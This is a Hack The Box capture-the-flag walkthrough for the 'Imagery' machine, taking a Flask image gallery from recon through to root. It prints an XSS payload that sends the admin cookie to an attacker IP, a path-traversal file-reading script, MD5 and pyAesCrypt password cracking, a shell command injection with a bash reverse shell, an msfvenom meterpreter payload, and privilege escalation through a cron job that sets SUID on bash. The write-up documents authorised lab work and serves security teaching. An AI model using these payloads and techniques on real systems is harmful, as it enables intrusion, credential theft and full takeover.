RECON

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A sS -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKyy0U7qSOOyGqKW/mnTdFIj9zkAcvMCMWnEhOoQFWUYio6eiBlaFBjhhHuM8hEM0tbeqFbnkQ+6SFDQw6VjP+E=
|   256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleYkGyL8P6lEEXf1+1feCllblPfSRHnQ9znOKhcnNM
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops

8000/tcp — Werkzeug httpd (Python backend) with title Image Gallery.

Discovery

Magnetizing keywords to lure in pentesters:

htb_imagery_1

First we self-register — only then does the app permit us to populate the image gallery:

htb_imagery_2

The gallery's features look purely ornamental for now — a classic HTB tell that the flag probably hides elsewhere.

Hovering over UI buttons shows no target URLs in the browser status bar:

htb_imagery_3

That immediately signals client-side JavaScript control rather than ordinary links — consider the bug-report functionality shown up after signing in:

htb_imagery_4

Inspecting the page source exposes the JavaScript implementation:

htb_imagery_5

Beyond the public submitBugReport routine, the source reveals a loadBugReports function that's reserved for the admin panel. Submitting a report elicits the server response "Admin review in progress.":

htb_imagery_6

This is a near-certain XSS vector if the backend fails to sanitize our input.

WEB

XSS

We focused on stored XSS — reflected XSS would force a phishing vector and isn't suitable for our objectives.

From the front-end source we observed:

JavaScript
async function loadBugReports() {
    
    ...
    
    reportCard.innerHTML = `
        <div>
            <p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
            <p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
            <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
            <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
            <div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
                ${report.details}
            </div>    
            
    ...

They use DOMPurify.sanitize(...), which neutralizes conventional XSS vectors when inserting HTML via innerHTML.

However, note that report.details is injected unsanitized — a clear XSS aperture.

We spun up a minimal HTTP listener and confirmed a working payload:

JavaScript
<img src=x onerror="location.href='http://10.10.11.42/a'">
htb_imagery_7

Tuning the payload to exfiltrate the admin cookie produced:

JavaScript
<img src=x onerror="location.href='http://10.10.11.42/?c='+document.cookie">
htb_imagery_8

The sample captured cookie:

session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNnoKQ.zvzR9cUgAIZ2NVk06R9CV0gZqi8

We injected that session into the browser cookie store and navigated to /admin/users — an endpoint exposed by the client-side code:

htb_imagery_9

Jackpot. And we discover a testuser, who can access those image personalizing features we cannot access as a normal user:

htb_imagery_11

The account testuser appears, and it can access the image-personalization controls unavailable to ordinary users. With the hijacked session we can load the main page and enter the admin panel:

htb_imagery_10

LFR

From previous screenshot, we discover a download log feature in the admin panel that exposes log files via:

/admin/get_system_log?log_identifier=${encodeURIComponent(logIdentifier)}.log

A quick trial reveals a classic path-traversal flaw:

htb_imagery_12

Two local users exist on the target: web (the runtime user) and mark.

We scripted a tiny extractor to pull files through the LFR endpoint:

Python
#!usr/bin/env python3
from re import error
import requests
import sys

COOKIE = 'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNnoKQ.zvzR9cUgAIZ2NVk06R9CV0gZqi8'

HOST = 'imagery.htb'
PORT = 8000
URI  = 'admin/get_system_log?log_identifier='

if not sys.argv[1]:
    error("[-] no remote file path provided")

URL = f"http://{HOST}:{PORT}/{URI}" + sys.argv[1]
print(f"[*] Requesting URL: {URL}")

sess = requests.session()
HEADERS = {
        "Host": HOST,
        "User-Agent": "Mozilla/5.0",
        "Cookie": COOKIE,
        }
resp = sess.get(URL, headers=HEADERS)

if resp:
    print(f"[+] File content:\n{resp.text}")
else:
    print("[-] Failed to access remote file")

By iterating ../ chains we exfiltrate the Flask app source — ../app.py discloses the project layout:

Python
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False

app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)

@app_core.route('/')
def main_dashboard():
    return render_template('index.html')

if __name__ == '__main__':
    current_database_data = _load_data()
    ...

app.py imports config, utils, and several api_* modules — so we next fetch ../config.py which reveals canonical paths:

Python
import os
import ipaddress

DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'

...

That points us straight to db.json. Reading it yields two accounts and their password digests in raw MD5:

JSON
{
    "users": [
        {
            "username": "[email protected]",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "displayId": "a1b2c3d4",
            "login_attempts": 0,
            "isTestuser": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "[email protected]",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "displayId": "e5f6g7h8",
            "login_attempts": 0,
            "isTestuser": true,
            "failed_login_attempts": 0,
            "locked_until": null
        }
    ],
    ...
}

Raw MD5 — weak and crackable. We dump the hashes and crack them with john:

$ cat <<EOF> hashes.txt 
5d9c1d507a3f76af1e5c97a3ad1eaa31
2c65c8d7bfbca32a3ed42596192384f6
EOF

$ john --wordlist=~/wordlists/rockyou.txt --format=raw-md5 hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
iambatman        (?)
1g 0:00:00:00 DONE (2025-09-28 20:53) 1.333g/s 19124Kp/s 19124Kc/s 19448KC/s  filimani..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

The web account is crackable — password: iambatman.

Command Injection

With [email protected] / iambatman we authenticate and unlock the image-personalization surface:

htb_imagery_13

In BurpSuite we see this is implemented via the /apply_visual_transform endpoint.

Burp shows the feature calling /apply_visual_transform. Since LFR already let us read the app source, a quick code audit targets the bp_edit blueprint where these transforms live.

Excerpt from api_edit.py:

Python
from flask import Blueprint, request, jsonify, session
from config import *
import os
import uuid
import subprocess
from datetime import datetime
from utils import _load_data, _save_data, _hash_password, _log_event, _generate_display_id, _sanitize_input, get_file_mimetype, _calculate_file_md5

bp_edit = Blueprint('bp_edit', __name__)

@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
	if not session.get('is_testuser_account'):
    	return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
    if 'username' not in session:
    	return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
    request_payload = request.get_json()
    image_id = request_payload.get('imageId')
    transform_type = request_payload.get('transformType')
    params = request_payload.get('params', {})
    
    ...
    
        if transform_type == 'crop':
            x = str(params.get('x'))
            y = str(params.get('y'))
            width = str(params.get('width'))
            height = str(params.get('height'))
            command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
            subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

    ...

Command-injection vulnerability can be easily identified in the crop branch:

  • params come from request.get_json() — attacker controllable.
  • Values are converted to strings and directly interpolated into a shell command.
  • subprocess.run(..., shell=True) executes the command through the shell, so shell metacharacters (e.g. ;, &&, |, backticks) would be interpreted.

So we can supply crafted params to make the shell execute arbitrary commands by calling the "crop" feature via /apply_visual_transform endpoint.

We weaponize any of x, y, width, or height. Injecting shell control (e.g. newline or ;) into a param yields arbitrary command execution:

htb_imagery_14

Jackpot.

A practical payload that executes a reverse shell, e.g.:

Bash
bash -c 'bash -i >& /dev/tcp/10.10.11.42/51234 0>&1'

We executed the reverse shell and obtained a web-user shell on the host:

htb_imagery_15

USER

pyAesCrypt

Running LinPEAS reveals readable material under /var/backup:

web@Imagery:~/web$ ls -ld /var/backup
drwxr-xr-x 2 root root 4096 Sep 22 18:56 /var/backup

web@Imagery:~/web$ ls -l /var/backup
-rw-rw-r-- 1 root root 23054471 Aug  6  2024 web_20250806_120723.zip.aes

An encrypted zip backup web_20250806_120723.zip.aes, about 23 MB size.

Fingerprints:

web@Imagery:~/web$ file /var/backup/web_20250806_120723.zip.aes
Command 'file' not found, but can be installed with:
apt install file
Please ask your administrator.

web@Imagery:~/web$ xxd -l 64 /var/backup/web_20250806_120723.zip.aes
xxd -l 64 /var/backup/web_20250806_120723.zip.aes
00000000: 4145 5302 0000 1b43 5245 4154 4544 5f42  AES....CREATED_B
00000010: 5900 7079 4165 7343 7279 7074 2036 2e31  Y.pyAesCrypt 6.1
00000020: 2e31 0080 0000 0000 0000 0000 0000 0000  .1..............
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................

So this is a file encrypted with pyAesCrypt (the Python aescrypt-style tool)

Because the target lacks pyAesCrypt, we exfiltrate the ciphertext to our workstation and fingerprint it locally.

Simply twist our LFR helper script a little bit:

Python
#!usr/bin/env python3
from re import error
import requests
import sys

COOKIE = 'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNnoKQ.zvzR9cUgAIZ2NVk06R9CV0gZqi8'

HOST = 'imagery.htb'
PORT = 8000
URI  = 'admin/get_system_log?log_identifier='

URL = f"http://{HOST}:{PORT}/{URI}" + "../../../../var/backup/web_20250806_120723.zip.aes"

sess = requests.session()
HEADERS = {
        "Host": HOST,
        "User-Agent": "Mozilla/5.0",
        "Cookie": COOKIE,
        }
resp = sess.get(URL, headers=HEADERS)

if resp:
    with open("web_20250806_120723.zip.aes", "wb") as f:
        for chk in resp.iter_content(4096):
            if chk:
                f.write(chk)
        print("[+] Download complete")
else:
    print("[-] Failed to access remote file")

Download the remote file and verify:

$ python download.py
[+] Download complete

$ file web_20250806_120723.zip.aes
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"

As described in the pyAesCrypt documentation, we'll leverage its stream-oriented primitives to accelerate brute-force attempts. Demo:

Python
import pyAesCrypt
from os import stat, remove
# encryption/decryption buffer size - 64K
# with stream-oriented functions, setting buffer size is mandatory
bufferSize = 64 * 1024
password = "please-use-a-long-and-random-password"

# encrypt
with open("data.txt", "rb") as fIn:
    with open("data.txt.aes", "wb") as fOut:
        pyAesCrypt.encryptStream(fIn, fOut, password, bufferSize)

# decrypt
with open("data.txt.aes", "rb") as fIn:
    try:
        with open("dataout.txt", "wb") as fOut:
            # decrypt file stream
            pyAesCrypt.decryptStream(fIn, fOut, password, bufferSize)
    except ValueError:
        # remove output file on error
        remove("dataout.txt")

We'll implement a process-parallel Python brute-forcer against the encrypted archive using rockyou.txt. To maximise throughput and minimise waste:

  • Stage the ciphertext on tmpfs (e.g., /dev/shm) to eliminate disk I/O as a bottleneck.
  • Stream decryption outputs to a transient sink (/dev/null or an in-memory buffer) and only materialise the archive to disk when a candidate produces the correct ZIP magic.
  • AES decryption is CPU-bound; avoid Python threads (GIL). Use concurrent.futures.ProcessPoolExecutor so worker processes can saturate multiple cores.

Final script:

Python
from pwn import log
import shutil
from typing import Iterable
from pathlib import Path
from concurrent.futures import ProcessPoolExecutor, as_completed
import sys, os
import pyAesCrypt

TARGET = "./web_20250806_120723.zip.aes"
OUTPUT = "./cracked.zip"
WORDLIST = "~/wordlists/rockyou.txt"

def tmpfs(src: str) -> str:
    """speed up using tmpfs"""
    src = Path(src)
    dst = Path("/dev/shm") / src.name
    shutil.copy(str(src), str(dst))
    return str(dst)

INPUT = tmpfs(TARGET)
BUFSZ = 64 * 1024

def do_decrypt(passwd: str):
    """Try password using in-memory stream (no disk I/O)"""
    try:
        with open(INPUT, "rb") as fIn, open("/dev/null", "wb") as fOut:
            pyAesCrypt.decryptStream(fIn, fOut, passwd, BUFSZ)
        return passwd
    except Exception:
        return None

def gen_passwd(wordlist: Path) -> Iterable:
    p = Path(wordlist).expanduser()
    with open(p, "r", errors="ignore") as f:
        for pw in f:
            if not pw:
                continue
            yield pw.strip()

if __name__ == "__main__":
    bar = log.progress("Cracking pyAesCrypt password...")

    passwords = gen_passwd(WORDLIST)
    futures = []

    executor = ProcessPoolExecutor(max_workers=os.cpu_count())
    try:
        for pw in passwords:
            futures.append(executor.submit(do_decrypt, pw))

        found = None
        for future in as_completed(futures):
            try:
                res = future.result()
            except Exception:
                res = None
            if res:
                found = res
                for f in futures:
                    if not f.done():
                        try:
                            f.cancel()
                        except Exception:
                            pass
                with open(TARGET, "rb") as fIn, open(OUTPUT, "wb") as fOut:
                    pyAesCrypt.decryptStream(fIn, fOut, found, BUFSZ)
                bar.success(f"Password found: {future.result()!r}. Decrypted file saved @ {Path(OUTPUT).absolute()!r}")
                break   
        if not found:
            bar.failure("no matched password found")

    except KeyboardInterrupt:
        print("Killed. Exiting...")
        executor.shutdown(wait=False, cancel_futures=True)

    finally:
        try:
            Path(INPUT).unlink(missing_ok=True)
            executor.shutdown(wait=False, cancel_futures=True)
        except Exception: 
            pass
    if found:
        os._exit(0)
    else:
        os._exit(1)

We ran the brute-force script and recovered the archive password: bestfriends. Decryption completed and the recovered ZIP was written as cracked.zip:

$ python decrypt.py
[+] Cracking pyAesCrypt password...: Password found: 'bestfriends'. Decrypted file saved @ '/home/Axura/ctf/HTB/imagery/cracked.zip'

$ file cracked.zip
cracked.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

Inside the backup sits an older db.json. Buried within is [email protected]'s password hash:

$ cat web/db.json
{
    "users": [
        ...
        {
            "username": "[email protected]",
            "password": "01c3d2e5bdaf6134cec0a367cf53e535",
            "displayId": "868facaf",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        },
        ...

We dumped the hash and fed it to john with rockyou.txt; the cracker returned supersmash almost instantly:

$ echo '01c3d2e5bdaf6134cec0a367cf53e535' > hash.txt

$ john --wordlist=~/wordlists/rockyou.txt --format=raw-md5 hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
supersmash       (?)
1g 0:00:00:00 DONE (2025-09-29 04:36) 33.33g/s 8646Kp/s 8646Kc/s 8646KC/s swhsco05..sufrir
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

SSH logins are restricted on this host, but the plaintext password is sufficient to escalate from our web shell:

htb_imagery_16

User flag retrieved.

To further secure our shell, we can hunt for an MSF session:

Bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.11.42 LPORT=61000 -f elf > 61000.elf
htb_imagery_17

ROOT

Sudo

Inspecting sudo privileges:

mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

mark@Imagery:~$ ls -l /usr/local/bin/charcol
-rwxr-x--- 1 root root 69 Aug  4 18:08 /usr/local/bin/charcol

mark@Imagery:~$ sudo charcol --help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only
                        warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system
                        password verification).

We cannot read the binary itself, but mark is permitted to run /usr/local/bin/charcol as root without a password, and the utility exposes a shell subcommand.

Invoke the shell subcommand:

mark@Imagery:~$ sudo charcol shell

Enter your Charcol master passphrase (used to decrypt stored app password):
whatisthis

[2025-09-29 12:25:57] [ERROR] Incorrect master passphrase. 2 retries left. (Error Code: CPD-002)
Enter your Charcol master passphrase (used to decrypt stored app password):
123

[2025-09-29 12:26:03] [ERROR] Incorrect master passphrase. 1 retries left. (Error Code: CPD-002)
Enter your Charcol master passphrase (used to decrypt stored app password):
supersmash

[2025-09-29 12:26:26] [ERROR] Incorrect master passphrase after multiple attempts. Exiting application. If you forgot your master passphrase, then reset password using charcol -R command for more info do charcol help. (Error Code: CPD-002)
Please submit the log file and the above error details to [email protected] if the issue persists.

The tool offers a reset path via -R:

mark@Imagery:~$ sudo charcol -R

Attempting to reset Charcol application password to default.
[2025-09-29 12:30:35] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
supersmash

[2025-09-29 12:30:57] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.

The application password is removed. Relaunching the shell:

mark@Imagery:~$ sudo charcol shell

First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:

Are you sure you want to use 'no password' mode? (yes/no): yes
yes
[2025-09-29 12:31:52] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.

No-password mode enabled — an interactive Charcol shell is now available with elevated privileges:

mark@Imagery:~$ sudo charcol shell

  ░██████  ░██                                                  ░██
 ░██   ░░██ ░██                                                  ░██
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██



Charcol The Backup Suit - Development edition 1.0.0

[2025-09-29 12:32:07] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> help
help
[2025-09-29 12:32:45] [INFO]
Charcol Shell Commands:

  Backup & Fetch:
    backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
      Purpose: Create an encrypted backup archive from specified files/directories.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
      Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
      Permissions: Files created with 664 permissions. Ownership is user:group.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
      Examples:
        - Encrypted with file-specific password:
          backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
        - Encrypted with app password (if status 1):
          backup -i /home/user/example_file.json
        - Unencrypted (if status 2 and no -p):
          backup -i /home/user/example_file.json
        - No timestamp:
          backup -i /home/user/example_file.json --no-timestamp

    fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
      Purpose: Download a file from a URL, encrypt it, and save it.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
      Permissions: Files created with 664 permissions. Ownership is current user:group.
      Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
      Examples:
        - Encrypted:
          fetch <URL> -o <output_file_path> -p <file_password> --force
        - Unencrypted (if status 2 and no -p):
          fetch <URL> -o <output_file_path>

  Integrity & Extraction:
    list <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and list contents of an encrypted Charcol archive.
      Note: Requires the correct decryption password.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>

    check <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
      Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>

    extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
      Purpose: Decrypt an encrypted Charcol archive and extract its contents.
      Note: Requires the correct decryption password.
      Example:
        extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>

  Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
      Purpose: Add a new automated cron job managed by Charcol.
      Verification:
        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
      Examples:
        - Status 1 (encrypted app password), cron:
          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), cron, unencrypted backup:
          CHARCOL_NON_INTERACTIVE=true charcol auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), interactive:
          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
          (will prompt for system password)

    auto list
      Purpose: List all automated jobs managed by Charcol.
      Example:
        auto list

    auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
      Purpose: Modify an existing Charcol-managed automated job.
      Verification: Same as 'auto add'.
      Example:
        auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"

    auto delete <job_id>
      Purpose: Remove an automated job managed by Charcol.
      Verification: Same as 'auto add'.
      Example:
        auto delete <job_id>

  Shell & Help:
    shell
      Purpose: Enter this interactive Charcol shell.
      Example:
        shell

    exit
      Purpose: Exit the Charcol shell.
      Example:
        exit

    clear
      Purpose: Clear the interactive shell screen.
      Example:
        clear

    help [command]
      Purpose: Show help for Charcol or a specific command.
      Example:
        help backup

Global Flags (apply to all commands unless overridden):
  --app-password <password>    : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
  -p, "--password" <password>    : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
  -v, "--verbose"                : Enable verbose output.
  --quiet                      : Suppress informational output (show only warnings and errors).
  --log-file <path>            : Log all output to a specified file.
  --dry-run                    : Simulate actions without actual file changes (for 'backup' and 'fetch').
  --ask-password               : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
  --no-banner                   : Do not display the ASCII banner.
  -R, "--reset-password-to-default"  : Reset application password to default (requires system password verification).

charcol>

The charcol tool we've found is essentially a backup and automation:

  • A CLI-driven backup utility with AES encryption support.
  • Can archive, encrypt, fetch, list, check, and extract backups.
  • Also manages automated jobs (via cron) directly inside its shell.
  • Provides an interactive shell (charcol shell) with commands and help.

Countless ways to privesc.

PE1. Cron Integration

We can weaponize automated jobs.

auto add: The intended workflow schedules periodic backups:

Charcol shell
auto add --schedule "0 2 * * *" \
         --command "charcol backup -i /home/user/docs -p <pwd>" \
         --name "Daily Docs Backup" \
         --log-output /var/log/charcol_backup.log

But we abuse the scheduler:

Charcol shell
auto add --schedule "* * * * *" --command "chmod +s /bin/bash" --name "Daily Web Backup"

Set SUID for /bin/bash:

htb_imagery_18

Rooted.

PE2. Remote Fetching

We can utilize the fetch option to download a prepared public key into root's .ssh directory:

Charcol shell
fetch http://10.10.11.42/id_rsa.pub -o /root/.ssh/authorized_keys --force

Then we can use the paired private key to remote logon via SSH. Though the access is restricted, we can run any command as root via:

Bash
ssh -i id_rsa -o IdentitiesOnly=yes -t [email protected] <command>
htb_imagery_19

Full root control can be obtained via any further moves, that will be simple.

And some other unintended ways, like the killer for cracking the web server:

mark@Imagery:~$ ls /usr/bin/python3 -l
lrwxrwxrwx 1 root root 10 Sep 12  2024 /usr/bin/python3 -> python3.12

mark@Imagery:~$ ls /usr/bin/python3.12 -l
-rwxr-xr-x 1 web web 8059480 Jun 18 13:16 /usr/bin/python3.12

#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)